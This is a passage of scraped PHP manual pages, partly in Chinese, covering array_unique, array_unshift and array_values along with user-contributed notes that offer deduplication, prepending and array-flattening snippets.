            $temp[$i.','.$key] = $temp[$i];
            unset($temp[$i]);
        }
    }
    return $temp;
}
?>

this function return an array that is unique, but preserve every key for the element...
sorry for bad english I'm italian...

$array['asd'] = 'value';
$array['lol'] = 'value';
$array['foo'] = 'val';
$array['bar'] = 'val';

var_dump(array_unique_key_group($array));
// will be output
array(2) { ["asd,lol"]=> string(5) "value" ["foo,bar"]=> string(3) "val" }
michiel ed thalent nl 18-Jun-2010 05:04
If you use SORT_NUMERIC on this kind of filtering it will be significantly faster.
However the array_flip method still is twice as fast.
Anonymous 16-Jun-2010 05:46
It's often faster to use a foreache and array_keys than array_unique:

    <?php

    $max = 1000000;
    $arr = range(1,$max,3);
    $arr2 = range(1,$max,2);
    $arr = array_merge($arr,$arr2);

    $time = -microtime(true);
    $res1 = array_unique($arr);
    $time += microtime(true);
    echo "deduped to ".count($res1)." in ".$time;
    // deduped to 666667 in 32.300781965256

    $time = -microtime(true);
    $res2 = array();
    foreach($arr as $key=>$val) {
        $res2[$val] = true;
    }
    $res2 = array_keys($res2);
    $time += microtime(true);
    echo "<br />deduped to ".count($res2)." in ".$time;
    // deduped to 666667 in 0.84372591972351

    ?>
regeda at inbox dot ru 12-Apr-2010 08:11
recursive array unique for multiarrays

<?php
function super_unique($array)
{
  $result = array_map("unserialize", array_unique(array_map("serialize", $array)));

  foreach ($result as $key => $value)
  {
    if ( is_array($value) )
    {
      $result[$key] = super_unique($value);
    }
  }

  return $result;
}
?>
brendel at krumedia dot de 24-Feb-2010 11:47
Prior to 5.2.9 you may create a list of unique objects this way:

<?php
for (; ; ) {
  // ...
  $uniqueObjectList[spl_object_hash($myObject)] = $myObject;
}
?>
amri [ at t] dhstudio dot eu 18-Dec-2009 02:36
I searched how to show only the de-duplicate elements from array, but failed.
Here is my solution:

<?php
function arrayUniqueElements($array)
{
return array_unique(array_diff_assoc($array1,array_unique($array1)));
};
?>

Example:
<?php
$arr1 = array('foo', 'bar', 'xyzzy', '&', 'xyzzy',
'baz', 'bat', '|', 'xyzzy', 'plugh',
'xyzzy', 'foobar', '|', 'plonk', 'xyzzy',
'apples', '&', 'xyzzy', 'oranges', 'xyzzy',
'pears','foobar');

$result=arrayUniqueElements($arr1);
print_r($result);exit;
?>

Output:

Array
(
[4] => xyzzy
[12] => |
[16] => &
[21] => foobar
)
dirk dot avery a t gmail 30-Apr-2009 08:45
Although array_unique is not intended to work with multi-dimensional arrays, it does on 5.2.9.  However, it does not for 5.2.5.  Beware.
serg dot podtynnyi at gmail dot com 06-Feb-2009 11:21
//Remove duplicates from a text files and dump result in one file for example: emails list, links list etc

<?php

$data1 = file("data1.txt");
$data2 = file("data2.txt");

file_put_contents('unique.txt', implode('', array_unique(array_merge($data1,$data2))));
?>
jusvalceanu - SPAM at SPAM - yahoo dot com 06-Nov-2008 02:23
so .... my problem was multidimensional sort.

<?php
      $new = array();
      $exclude = array("");
      for ($i = 0; $i<=count($attribs)-1; $i++) {
         if (!in_array(trim($attribs[$i]["price"]) ,$exclude)) { $new[] = $attribs[$i]; $exclude[] = trim($attribs[$i]["price"]); }
      }

?>

Array $attribs is an array contaning arrays. Each array in the $attrib array consists in multiple fields (ex: name, lenght, price, etc.) to be more simpler in speech think that $attrib is the array resulted by a search sql query done by a visitator on your online shoopping website ... (so ... each array in the $attrib is a product :P) if you want to sort only the uniq results use the above or use this:

<?php

   /* Our Array of products */
   $attribs[] = array(
                           "name"         => "Test Product 1",
                           "length"     => "42 cm",
                           "weight"     => "0,5 kg",
                           "price"     => "10 $",
                           "stock"     => "100",
                        );

   $attribs[] = array(
                           "name"         => "Test Product 2",
                           "length"     => "42 cm",
                           "weight"     => "1,5 kg",
                           "price"     => "10 $",
                           "stock"     => "200",
                        );

    /* The nice stuff */

      $new = array();
      $exclude = array("");
      for ($i = 0; $i<=count($attribs)-1; $i++) {
         if (!in_array(trim($attribs[$i]["price"]) ,$exclude)) { $new[] = $attribs[$i]; $exclude[] = trim($attribs[$i]["price"]); }
      }

      print_r($new); // $new is our sorted array

?>

Have fun tweaking this ;)) i know you will ;))

From Romania With Love
quecoder at gmail 25-Aug-2008 10:30
another method to get unique values is :

<?php
$alpha=array('a','b','c','a','b','d','e','f','f');

$alpha= array_keys(array_count_values($alpha));

print_r($alpha);
?>

Output:
Array ( [0] => a [1] => b [2] => c [3] => d [4] => e [5] => f )
soapergem at gmail dot com 14-Aug-2008 02:39
Here's another solution for returning an array that only includes repeated values. There is one given below but it only works on numerically indexed arrays; this one is more comprehensive since I used the foreach iterator. Also, this one preserves keys--in that the returned result contains a distinct list of repeats (storing only the first instance it encounters of each duplicate value).

<?php

function array_repeated($array)
{
    if ( !is_array($array) ) {
        return false;
    }

    $duplicates = array();
    foreach ( $array as $key => $val ) {
        end($array);
        $k = key($array);
        $v = current($array);

        while ( $k !== $key ) {
            if ( $v === $val ) {
                $duplicates[$key] = $v;
                                break;
            }

            $v = prev($array);
            $k = key($array);
        }
    }

    return $duplicates;
}

?>
Dorphalsig 28-Jul-2008 09:47
I had a problem with array_unique and multidimensional arrays ... Maybe there's a better way to do this, but this will work for any dimensional arrays.

<?php
function arrayUnique($myArray)
{
    if(!is_array($myArray))
           return $myArray;

    foreach ($myArray as &$myvalue){
        $myvalue=serialize($myvalue);
    }

    $myArray=array_unique($myArray);

    foreach ($myArray as &$myvalue){
        $myvalue=unserialize($myvalue);
    }

    return $myArray;

}
?>
PHP Expert 14-Apr-2008 05:34
Case insensitive for PHP v4.x and up.

<?php

function in_iarray($str, $a) {
    foreach ($a as $v) {
        if (strcasecmp($str, $v) == 0) {
            return true;
        }
    }
    return false;
}

function array_iunique($a) {
    $n = array();
    foreach ($a as $k => $v) {
        if (!in_iarray($v, $n)) {
            $n[$k]=$v;
        }
    }
    return $n;
}

$input = array("aAa","bBb","cCc","AaA","ccC","ccc","CCC","bBB","AAA","XXX");
$result = array_iunique($input);
print_r($result);

/*
Array
(
    [0] => aAa
    [1] => bBb
    [2] => cCc
    [9] => XXX
)
*/
?>
Ray dot Paseur at SometimesUsesGmail dot com 01-Mar-2008 07:46
I needed to identify email addresses in a data table that were replicated, so I wrote the array_not_unique() function:

<?php

function array_not_unique($raw_array) {
    $dupes = array();
    natcasesort($raw_array);
    reset ($raw_array);

    $old_key    = NULL;
    $old_value    = NULL;
    foreach ($raw_array as $key => $value) {
        if ($value === NULL) { continue; }
        if ($old_value == $value) {
            $dupes[$old_key]    = $old_value;
            $dupes[$key]        = $value;
        }
        $old_value    = $value;
        $old_key    = $key;
    }
return $dupes;
}

$raw_array     = array();
$raw_array[1]    = 'abc@xyz.com';
$raw_array[2]    = 'def@xyz.com';
$raw_array[3]    = 'ghi@xyz.com';
$raw_array[4]    = 'abc@xyz.com'; // Duplicate

$common_stuff    = array_not_unique($raw_array);
var_dump($common_stuff);
?>
mnbayazit 28-Oct-2007 02:18
Case insensitive; will keep first encountered value.

<?php

function array_iunique($array) {
    $lowered = array_map('strtolower', $array);
    return array_intersect_key($array, array_unique($lowered));
}

?>
webmaster at jukkis dot net 30-Jul-2007 04:08
Another way to 'unique column' an array, in this case an array of objects:
Keep the desired unique column values in a static array inside the callback function for array_filter.

Example:
<?php
/* example object */
class myObj {
  public $id;
  public $value;
  function __construct( $id, $value ) {
    $this->id = $id;
    $this->value = $value;
  }
}

/* callback function */
function uniquecol( $obj ) {
  static $idlist = array();

  if ( in_array( $obj->id, $idlist ) )
    return false;

  $idlist[] = $obj->id;
  return true;
}

/* a couple of arrays with second array having an element with same id as the first */
$list  = array( new myObj( 1, 1  ), new myObj( 2, 100 ) );
$list2 = array( new myObj( 1, 10 ), new myObj( 3, 100 ) );
$list3 = array_merge( $list, $list2 );

$unique = array_filter( $list3, 'uniquecol' );
print_r( $list3 );
print_r( $unique );

?>

In addition, use array_merge( $unique ) to reindex.
arr1 01-Nov-2006 08:59
Just to note that array_unique, treats null values as none unique values. So if your using array_unique to detect duplicate values it will also detect multiple null values.
Ome_Henk 27-Oct-2006 12:16
For people looking at the flip flip method for getting unique values in a simple array. This is the absolute fastest method:

<?php
$unique = array_keys(array_flip($array));
?>

It's marginally faster as:
<?php
$unique = array_merge(array_flip(array_flip($array)));
?>

And it's marginally slower as:
<?php
$unique array_flip(array_flip($array)); // leaves gaps
?>

It's still about twice as fast or fast as array_unique.

This tested on several different machines with 100000 random arrays. All machines used a version of PHP5.
geuis dot teses at gmail dot com 09-Oct-2006 10:27
Here's the shortest line of code I could find/create to remove all duplicate entries from an array and then reindex the keys.

<?php

// Fruits, vegetables, and other food:
$var = array('apple','banana','carrot','cat','dog','egg','eggplant','fish');

$var = array_values(array_unique($var));
?>
keneks at gmail dot com 30-Sep-2006 07:01
Taking the advantage of array_unique, here is a simple function to check if an array has duplicate values.

It simply compares the number of elements between the original array and the array_uniqued array.

<?php

function array_has_duplicates(array $array)
{
    $uniq = array_unique($array);
    return count($uniq) != count($array);
}

?>
uditsawhney at yahoo dot com 15-Jul-2006 12:14
<?php

//Fn for array_unique column-wise for multi-dimensioanl array without losing keys | Start
function array_uniquecolumn($arr)
{
    $rows   = sizeof($arr);
    $columns = sizeof($arr[0]);

    $columnkeys = array_keys($arr[0]);

    for($i=0; $i<$columns; $i++)
    {
        for($j=0;$j<$rows;$j++)
        {
            for($k = $j+1; $k<$rows; $k++)
            {
                if($arr[$j][$columnkeys[$i]] == $arr[$k][$columnkeys[$i]])
                    $arr[$k][$columnkeys[$i]] = "";
            }
        }

    }

return ($arr);

}
//Fn for array_unique column-wise for multi-dimensioanl array without losing keys | Stop

$arrUGCourse[]= array(  "CTR" => "1",

                        "UGCOURSE"=>"ABC",

                        "TSINITIATE"=>"540",

                        "COUNT"=>"34",

                        "ENTRY_DT"=>"2006-05-01",

                        "CUMULATIVE"=> 44);

$arrUGCourse[]= array(  "CTR" => "2",

                        "UGCOURSE"=>"ABC",

                        "TSINITIATE"=>"5401",

                        "COUNT"=>"341",

                        "ENTRY_DT"=>"2006-05-11",

                        "CUMULATIVE"=> 44);

print_r(array_uniquecolumn($arrUGCourse));

?>
MoD 14-Apr-2006 09:02
The shortest way i found to remove duplicate array from a column,
For example if you parse Multiple XML sources, you can remove duplicate items that contain the same link.

<?PHP
function        remove_duplicate($array, $field)
{
  foreach ($array as $sub)
    $cmp[] = $sub[$field];
  $unique = array_unique($cmp);
  foreach ($unique as $k => $rien)
    $new[] = $array[$k];
  return $new;
}
?>
agarcia at rsn dot com dot co 31-Mar-2006 12:41
This is a script for multi_dimensional arrays

<?php
function remove_dup($matriz) {
    $aux_ini=array();
    $entrega=array();
    for($n=0;$n<count($matriz);$n++)
    {
        $aux_ini[]=serialize($matriz[$n]);
    }
    $mat=array_unique($aux_ini);
    for($n=0;$n<count($matriz);$n++)
    {

            $entrega[]=unserialize($mat[$n]);

    }
    return $entrega;
}
?>
mcmeijer at yahoo dot com 27-Jan-2006 05:18
This is a recursive arrayUnique function for arrays of any dimension. (tested with 4-dimensional array)
The line '$newArray=deleteEmpty($newArray);' is optional and removes empty keys and values
<?php
function arrayUnique($myArray)
    {
    $newArray = Array();
    if (is_array($myArray))
        {
        foreach($myArray as $key=>$val)
            {
            if (is_array($val))
                {
                $val2 = arrayUnique($val);
                }
            else
                {
                $val2 = $val;
                $newArray=array_unique($myArray);
                $newArray=deleteEmpty($newArray);
                break;
                }
            if (!empty($val2))
                {
                $newArray[$key] = $val2;
                }
            }
        }
    return ($newArray);
    }

function deleteEmpty($myArray)
    {
    $retArray= Array();
    foreach($myArray as $key=>$val)
        {
        if (($key<>"") && ($val<>""))
            {
            $retArray[$key] = $val;
            }
        }
    return $retArray;
    }
?>
memandeemail at gmail dot com 03-Jan-2006 10:47
Problem:
I have loaded an array with the results of a database
query.  The Fields are 'FirstName' and 'LastName'.

I would like to find a way to contactenate the two
fields, and then return only unique values for the
array.  For example, if the database query returns
three instances of a record with the FirstName John
and the LastName Smith in two distinct fields, I would
like to build a new array that would contain all the
original fields, but with John Smith in it only once.
Thanks for: Colin Campbell

Solution:

<?php
/**
 * The same thing than implode function, but return the keys so
 *
 * <code>
 * $_GET = array('id' => '4587','with' => 'key');
 * ...
 * echo shared::implode_with_key('&',$_GET,'='); // Resultado: id=4587&with=key
 * ...
 * </code>
 *
 * @param string $glue Oque colocar entre as chave => valor
 * @param array $pieces Valores
 * @param string $hifen Separar chave da array do valor
 * @return string
 * @author memandeemail at gmail dot com
 */
function implode_with_key($glue = null, $pieces, $hifen = ',') {
  $return = null;
  foreach ($pieces as $tk => $tv) $return .= $glue.$tk.$hifen.$tv;
  return substr($return,1);
}

/**
 * Return unique values from a tree of values
 *
 * @param array $array_tree
 * @return array
 * @author memandeemail at gmail dot com
 */
function array_unique_tree($array_tree) {
  $will_return = array(); $vtemp = array();
  foreach ($array_tree as $tkey => $tvalue) $vtemp[$tkey] = implode_with_key('&',$tvalue,'=');
  foreach (array_keys(array_unique($vtemp)) as $tvalue) $will_return[$tvalue] = $array_tree[$tvalue];
  return $will_return;
}

$problem = array_fill(0,3,
array('FirstName' => 'John', 'LastName' => 'Smith')
);

$problem[] = array('FirstName' => 'Davi', 'LastName' => 'S. Mesquita');
$problem[] = array('FirstName' => 'John', 'LastName' => 'Tom');

print_r($problem);

print_r(array_unique_tree($problem));
?>
muddmonkey@harveyMcoldotedu 17-Aug-2005 01:44
If you're doing numeric arrays etc. I found flip-flip to work much better than array_unique:

<?PHP
    function microtime_float(){ //timing
       list($usec, $sec) = explode(" ", microtime());
       return ((float)$usec + (float)$sec);
    }

    //make an arry and fill it up
    $final=array();
    for($i=0;$i<50000;$i++){
        $final[]=$i%13; //make sure there are some dupes
    }
    //try array unique
    $start1 = microtime_float();
    array_unique($final);
    $stop1=microtime_float();
    echo($stop1-$start1.'<br>');
    //try my flip-flip
    $start2=microtime_float();
    array_flip(array_flip($final));
    $stop2=microtime_float();
    echo($stop2-$start2);
?>

Running this with only ints in the array (as above) I get runtimes such as:
1.6195669174194 (using unique)
0.017037868499756 (using flip flip)
which is two orders of magnitude faster!

Appending a string:
($final[]='test'.$i%13;)
gives:
0.42909598350525 (using unique)
0.023258924484253 (using flip-flip)
Which is not AS great, but still 20x faster than unique.

In both cases the flip-flip seems to use less memory than the unique.

Granted the flip-flip doesn't work for all cases, but if you're doing simple stuff like this, the flip-flip will give you better run times.

~JF
memandeemail at gmail dot com 15-Apr-2005 01:46
<?php
/**
 * Removes duplicate keys from an array
 *
 * @param array $array
 * @return array
 */
function array_unique_key($array) {
    $result = array();
    foreach (array_unique(array_keys($array)) as $tvalue) {
        $result[$tvalue] = $array[$tvalue];
    }
    return $result;
}
?>
csaba at alum dot mit dot edu 09-Jun-2004 07:17
The following is an efficient, adaptable implementation of array_unique which always retains the first key having a given value:

<?php
function array_unique2(&$aray) {
    $aHash = array();
    foreach ($aray as $key => &$val) if (@$aHash[$val]++) unset ($aray[$key]);
}
?>

It is also adaptable to multi dimensional arrays.  For example, if your array is a sequence of (multidimensional) points, then in place of @$aHash[$val]++ you could use @$aHash[implode("X",$val)]++
If you want to not have holes in your array, you can do an array_merge($aray) at the end.

Csaba Gabor
patrikG at home dot net 11-Mar-2004 07:05
If you need to have the keys of the duplicates in an array returned, you may find this function useful:

<?php
function unique_events($array){
    //checks $array for duplicate values and returns an
        //array containing the keys of duplicates
    $count= array_intersect_assoc($array, array_flip( array_count_values($array)));
    foreach($array as $key=>$value){
        if (in_array($value,$count)){
            $return[$value][]=$key;
        }
    }
    return $return;
}
?>

Example:

Input:
Array
(
    [0] => 44
    [1] => 23
    [2] => 23
    [3] => 23
    [4] => 9
    [5] => 9
    [6] => 9
    [7] => 9
    [8] => 9
    [9] => 9
    [10] => 9
    [11] => 9
)

Function returns:
Array
(
    [23] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

    [9] => Array
        (
            [0] => 4
            [1] => 5
            [2] => 6
            [3] => 7
            [4] => 8
            [5] => 9
            [6] => 10
            [7] => 11
        )

)
martin at lucas-smith dot co dot uk 27-Jan-2003 05:12
To get a list of the duplicated values in an array, array_unique isn't much help. Instead, use array_filter in conjunction with a callback function, as below:

<?php
$checkKeysUniqueComparison = create_function('$value','if ($value > 1) return true;');
$result = array_keys (array_filter (array_count_values($array), $checkKeysUniqueComparison));
?>

These two lines therefore will create $result, an array of duplicated values in the array $array, once each. E.g. the array
$array = array ("a", "b", "a", "b", "x", "y", "z", "x");
gives the result
Array([0] => a [1] => b [2] => x)
29-Aug-2002 02:39
<?php
$truc = array("l810u00","l810u00","l810q00");
$machin = array_unique($truc);
for($i=0;$i < count($machin) ; $i++){
print $machin[$i]."
";
}
?>
result :
l810u00

This is not strange: $machin (as returned by array unique), contains "l810u00" either in key[0] or key[1] but not both (the key depends on the ersion of PHP), and "l810q00" in key[2].
The returned array has TWO elements so count($machin)==2.
The returned array has a hole in it, and you're not displaying its full content. You could verify it by using this display loop instead:
foreach($machine as $key=>$value){
print '[' . $key . '] => ' . $value . '
";
}
result:
[0] => l810q00
[2] => l810u00
(the first line may display [1] instead of [0] for PHP 4.0.1p3, but you'll get the same order of values and two lines, as expected). When calling array_values() on the result, you're building a new array with the same values in the same order, but with renumbered keys (without holes in numeric keys).
spunk at dasspunk dot NOSPAM dot com 14-Nov-2001 04:52
I needed a way of retaining the original array's keys in the new, unique array. I came up with this. It works for my purposes but may need refinement.

<?php
function my_array_unique($somearray)
{
    asort($somearray);
    reset($somearray);
    $currentarrayvar = current($somearray);
    foreach ($somearray as $key=>$var)
    {
        if (next($somearray) != $currentarrayvar)
        {
            $uniquearray[$key] = $currentarrayvar;
            $currentarrayvar = current($somearray);
        }
    }
    reset($uniquearray);
    return $uniquearray;
}
?>
az at top-webdesign dot de 10-Jul-2001 01:00
Attention!
If you use array_unique be aware of data-types! (I spent hours of debugging because of that ...).

For example, if you've got an array containing a '3' as number and another '3' as string it won't be eliminated by array_unique.

An Example where this can happen, without really thinking about it:

I've got an article-list with product-numbers where the third and fourth digit is the code for the producer. So I read in the file an process it line by line and put each producer-code into an array:
------------------------------
<?php
$i=0;
while($line = fgets($csv, 10000) {
// splitting the line, product_no is the first part:

$data = explode(";", $line);

// putting the producer_code into an array:

$producer_id[$i] = trim(substr($data[0], 2, 2));

// make a special exception:

if(trim(substr($data[0], 2, 2)) == 40) {
$producer_id[$j] = '30';
}

// in the above line if you leave the 30 without the ''
// array_unique won't work!

$i++;
}

$producer_ids = array_values(array_unique($producer_id));
?>
-------------------------------
Result is to have all producer-ID's in an array without dupes.


在数组开头插入一个或多个单元

  • ? array_unique
  • array_values ?
  • PHP Manual
  • 数组 函数
  • 在数组开头插入一个或多个单元

array_unshift

(PHP 4, PHP 5, PHP 7)

array_unshift — 在数组开头插入一个或多个单元

说明

array_unshift ( array &$array [, mixed $... ] ) : int

array_unshift() 将传入的单元插入到 array 数组的开头。注意单元是作为整体被插入的，因此传入单元将保持同样的顺序。所有的数值键名将修改为从零开始重新计数，所有的文字键名保持不变。

参数

array

输入的数组。

...

插入的变量。

返回值

返回 array 数组新的单元数目。

更新日志

版本 | 说明
7.3.0 | 现在可以只用一个参数来调用，之前至少需要两个参数。

范例

Example #1 array_unshift() 例子

<?php
$queue = array("orange", "banana");
array_unshift($queue, "apple", "raspberry");
print_r($queue);
?>

以上例程会输出：

Array
(
    [0] => apple
    [1] => raspberry
    [2] => orange
    [3] => banana
)

参见

  • array_shift() - 将数组开头的单元移出数组
  • array_push() - 将一个或多个单元压入数组的末尾（入栈）
  • array_pop() - 弹出数组最后一个单元（出栈）

User Contributed Notes

Richard Akindele 16-Mar-2016 06:31
Another way to tack something to the beginning of an array is with array_merge().

$plans = array('AARP'=>'Senior', 'AAA'=>'Automobile Club');

$plans = array_merge(array("BAR"=>"Best Available Rate"),  $plans);
daniel at smallboxcms dot com 17-Apr-2015 08:18
Anonymous' associative version wasn't working for me, but it did with this small tweak:

function array_unshift_assoc(&$arr, $key, $val)
{
    $arr = array_reverse($arr, true);
    $arr[$key] = $val;
    $arr = array_reverse($arr, true);
    return $arr;
}
Anonymous 19-Nov-2011 09:44
Sahn's example almost works but has a small error. Try it like this if you need to prepend something to the array without the keys being reindexed and/or need to prepend a key value pair, you can use this short function:

<?php
function array_unshift_assoc(&$arr, $key, $val)
{
    $arr = array_reverse($arr, true);
    $arr[$key] = $val;
    return = array_reverse($arr, true);
}
?>
sergei at gmx dot net 03-Oct-2007 08:49
You can preserve keys and unshift an array with numerical indexes in a really simple way if you'll do the following:

<?php
$someArray=array(224=>'someword1', 228=>'someword2', 102=>'someword3', 544=>'someword3',95=>'someword4');

$someArray=array(100=>'Test Element 1 ',255=>'Test Element 2')+$someArray;
?>

now the array looks as follows:

array(
100=>'Test Element 1 ',
255=>'Test Element 2'
224=>'someword1',
228=>'someword2',
102=>'someword3',
544=>'someword3',
95=>'someword4'
);
amschroeder at gmail dot com 26-Mar-2007 09:13
This becomes a nice little problem if you index your arrays out of order (while manually sorting).  For example:

<?php
$recordMonths[3] = '8/%/2006';
$recordMonths[4] = '7/%/2004';
$recordMonths[0] = '3/%/2007';
$recordMonths[1] = '2/%/2007';
$recordMonths[5] = '12/%/2000';
$recordMonths[6] = '11/%/2000';
$recordMonths[7] = '10/%/2000';
$recordMonths[2] = '1/%/2007';

for($i = 0; $i < count($recordMonths); $i++)
{
    $singleMonth = $recordMonths[$i];
    echo "singleMonth: $singleMonth <br />";
}
array_unshift($recordMonths,'%');
for($i = 0; $i < count($recordMonths); $i++)
{
    $singleMonth = $recordMonths[$i];
    echo "singleMonth: $singleMonth <br />";
}
?>

Produces:

singleMonth: 3/%/2007
singleMonth: 2/%/2007
singleMonth: 1/%/2007
singleMonth: 8/%/2006
singleMonth: 7/%/2004
singleMonth: 12/%/2000
singleMonth: 11/%/2000
singleMonth: 10/%/2000
singleMonth: %
singleMonth: 8/%/2006
singleMonth: 7/%/2004
singleMonth: 3/%/2007
singleMonth: 2/%/2007
singleMonth: 12/%/2000
singleMonth: 11/%/2000
singleMonth: 10/%/2000
singleMonth: 1/%/2007

It reindexes them based on the order they were created.  It seems like if an array has all numeric indexes, then it should reindex them based on the order of their index.  Just my opinion...
John Brooking 02-Jun-2006 06:54
I had a need tonight to convert a numeric array from 1-based to 0-based, and found that the following worked just fine due to the "side effect" of renumbering:

<?php
   array_unshift( $myArray, array_shift( $myArray ));
?>
php at electricsurfer dot com 26-Feb-2004 06:20
even simpler unshifting of a reference !
<?php
/**
 * @return int
 * @param $array array
 * @param $value mixed
 * @desc Prepend a reference to an element to the beginning of an array. Renumbers numeric keys, so $value is always inserted to $array[0]
 */
function array_unshift_ref(&$array, &$value)
{
   $return = array_unshift($array,'');
   $array[0] =& $value;
   return $return;
}
?>
lagroue 09-Nov-2003 04:46
Last version of PHP deprecated unshifting of a reference.
You can use this function instead :

<?php
function array_unshift1 (& $ioArray, $iValueWrappedInAnArray) {
    $lNewArray = false;
    foreach (array_keys ($ioArray) as $lKey)
        $lNewArray[$lKey+1] = & $ioArray[$lKey];
    $ioArray = array (& $iValueWrappedInAnArray[0]);
    if ($lNewArray)
        foreach (array_keys ($lNewArray) as $lKey)
             $ioArray[] = & $lNewArray[$lKey];
    return count($ioArray);
}

// before last PHP (now generates a deprecation warning)
array_unshift ($a, &$v);
// since last PHP (caution, there is a wrapping array !!)
array_unshift1 ($a, array (&$v));
?>
chris dot NoThxSpam dot given at hp dot com 23-Jul-2003 12:17
If you need to change the name of a key without changing its position in the array this function may be useful.

<?php
function array_key_change($Old, $New, $In, $NewVal=NULL) {
        $Temp = array();
        while(isset($Temp[$Old]) == false) {
                list($k, $v) = each($In);
                $Temp[$k] = $v;
                unset($In[$k]);
        }
        if($NewVal == NULL) {
                $NewVal = $Temp[$Old];
        }
        unset($Temp[$Old]);
        $Temp = array_reverse($Temp);
        $In = array_merge(array($New=>$NewVal), $In);
        while(list($k,$v) = each($Temp)) {
                $In = array_merge(array($k=>$v), $In);
        }
        return($In);
}
?>
rsmith_NOSPAM_ at _NOSPAM_unitec dot ac dot nz 30-Jul-2002 07:00
array_merge() will also reindex (see array_merge() manual entry), but the '+' operator won't, so...

<?php
$arrayone=array("newkey"=>"newvalue") + $arrayone;
?>

does the job.
robert dot wills at fuzzbrain dot uklinux dot net 07-Feb-2002 06:02
Actually this problem with the keys getting reindexed only happens when the keys are numerical:

<?php

$a = array("f"=>"five", "s" =>"six", "t" =>
        "twenty");

print_r($a);
echo "\n";
foreach($a as $key=>$val)
{
    echo "k: $key v: $val \n";
}

array_unshift($a, "zero");
print_r($a);
echo "\n";
foreach($a as $key=>$val)
{
    echo "k: $key v: $val \n";
}
?>

Array
(
    [f] => five
    [s] => six
    [t] => twenty
)

k: f v: five
k: s v: six
k: t v: twenty
Array
(
    [0] => zero
    [f] => five
    [s] => six
    [t] => twenty
)

k: 0 v: zero
k: f v: five
k: s v: six
k: t v: twenty
sahn at hmc dot edu 27-Jul-2001 12:21
If you need to prepend something to the array without the keys being reindexed and/or need to prepend a key value pair, you can use this short function:

<?php
function array_unshift_assoc(&$arr, $key, $val)
{
    $arr = array_reverse($arr, true);
    $arr[$key] = $val;
    $arr = array_reverse($arr, true);
    return count($arr);
}
?>


返回数组中所有的值

  • ? array_unshift
  • array_walk_recursive ?
  • PHP Manual
  • 数组 函数
  • 返回数组中所有的值

array_values

(PHP 4, PHP 5, PHP 7)

array_values — 返回数组中所有的值

说明

array_values ( array $array ) : array

array_values() 返回 input 数组中所有的值并给其建立数字索引。

参数

array

数组。

返回值

返回含所有值的索引数组。

范例

Example #1 array_values() 例子

<?php
$array = array("size" => "XL", "color" => "gold");
print_r(array_values($array));
?>

以上例程会输出：

Array
(
    [0] => XL
    [1] => gold
)

参见

  • array_keys() - 返回数组中部分的或所有的键名
  • array_combine() - 创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值

User Contributed Notes

biziclop at vipmail dot hu 01-May-2014 11:47
Remember, array_values() will ignore your beautiful numeric indexes, it will renumber them according tho the 'foreach' ordering:

<?php
$a = array(
 3 => 11,
 1 => 22,
 2 => 33,
);
$a[0] = 44;

print_r( array_values( $a ));
==>
Array(
  [0] => 11
  [1] => 22
  [2] => 33
  [3] => 44
)
?>
heber dot gentilin at gmail dot com 21-Aug-2013 06:43
/**
* Return the new array from the offset index
*/
function array_values_from($array, $offset_index = 0) {
    if (!is_array($array))
        return null;
    $index = (int)$offset_index;
    foreach($array as $i => $value)
        $array_return[$index++] = $value;
    return $array_return;
}
Certainist 22-Apr-2013 03:51
Non-recursive simplest array_flatten.

<?php

function array_flatten($arr) {
    $arr = array_values($arr);
    while (list($k,$v)=each($arr)) {
        if (is_array($v)) {
            array_splice($arr,$k,1,$v);
            next($arr);
        }
    }
    return $arr;
}

?>
info at djdb dot be 29-Jan-2013 12:45
<?php
$array = array("size" => "XL", "color" => "gold","x" => " ","y" => "gold","z" => "");
print_r(array_values($array));
?>
wil result:
Array ( [0] => XL [1] => gold [2] => [3] => gold [4] => )
kapilgopinath at gmail dot com 09-Mar-2012 06:57
extract all values from a multi dimesnsional array or a nexted json object
function array_keys_multi($array,&$vals)
{
    foreach ($array as $key => $value) {

        if (is_array($value)) {

            array_keys_multi($value,$vals);

        }else{

            $vals[] = $value;
        }
    }

    return $vals;
}
a dot ross at amdev dot eu 30-May-2011 12:21
<?php
/**
 * Flattens an array, or returns FALSE on fail.
 */
function array_flatten($array) {
  if (!is_array($array)) {
    return FALSE;
  }
  $result = array();
  foreach ($array as $key => $value) {
    if (is_array($value)) {
      $result = array_merge($result, array_flatten($value));
    }
    else {
      $result[$key] = $value;
    }
  }
  return $result;
}
?>
abimaelrc 10-May-2011 05:39
This is another way to get value from a multidimensional array, but for versions of php >= 5.3.x
<?php
/**
 * Get all values from specific key in a multidimensional array
 *
 * @param $key string
 * @param $arr array
 * @return null|string|array
 */
function array_value_recursive($key, array $arr){
    $val = array();
    array_walk_recursive($arr, function($v, $k) use($key, &$val){
        if($k == $key) array_push($val, $v);
    });
    return count($val) > 1 ? $val : array_pop($val);
}

$arr = array(
    'foo' => 'foo',
    'bar' => array(
        'baz' => 'baz',
        'candy' => 'candy',
        'vegetable' => array(
            'carrot' => 'carrot',
        )
    ),
    'vegetable' => array(
        'carrot' => 'carrot2',
    ),
    'fruits' => 'fruits',
);

var_dump(array_value_recursive('carrot', $arr)); // array(2) { [0]=> string(6) "carrot" [1]=> string(7) "carrot2" }
var_dump(array_value_recursive('apple', $arr)); // null
var_dump(array_value_recursive('baz', $arr)); // string(3) "baz"
var_dump(array_value_recursive('candy', $arr)); // string(5) "candy"
var_dump(array_value_recursive('pear', $arr)); // null
?>
aowie1 at gmail dot com 19-Jan-2011 12:23
I needed a function that recursively went into each level of the array to order (only the indexed) arrays... and NOT flatten the whole thing.

Solution:
<?php
function array_values_recursive($arr){
        $arr = array_values($arr);
        foreach($arr as $key => $val)
            if(array_values($val) === $val)
                $arr[$key] = array_values_recursive($val);

        return $arr;
}
?>
geo dot artemenko at gmail dot com 04-May-2010 12:37
same array_flatten function, compressed and preserving keys.

function array_flatten($a,$f=array()){
  if(!$a||!is_array($a))return '';
  foreach($a as $k=>$v){
    if(is_array($v))$f=array_flatten($v,$f);
    else $f[$k]=$v;
  }
  return $f;
}
Carsten Milkau 01-Nov-2009 04:46
Note that in a multidimensional array, each element may be identified by a _sequence_ of keys, i.e. the keys that lead towards that element. Thus "preserving keys" may have different interpretations. Ivan's function for example creates a two-dimensional array preserving the last two keys. Other functions below create a one-dimensional array preserving the last key. For completeness, I will add a function that merges the key sequence by a given separator and a function that preserves the last n keys, where n is arbitrary.

<?php
/*
 * Flattening a multi-dimensional array into a
 * single-dimensional one. The resulting keys are a
 * string-separated list of the original keys:
 *
 * a[x][y][z] becomes a[implode(sep, array(x,y,z))]
 */

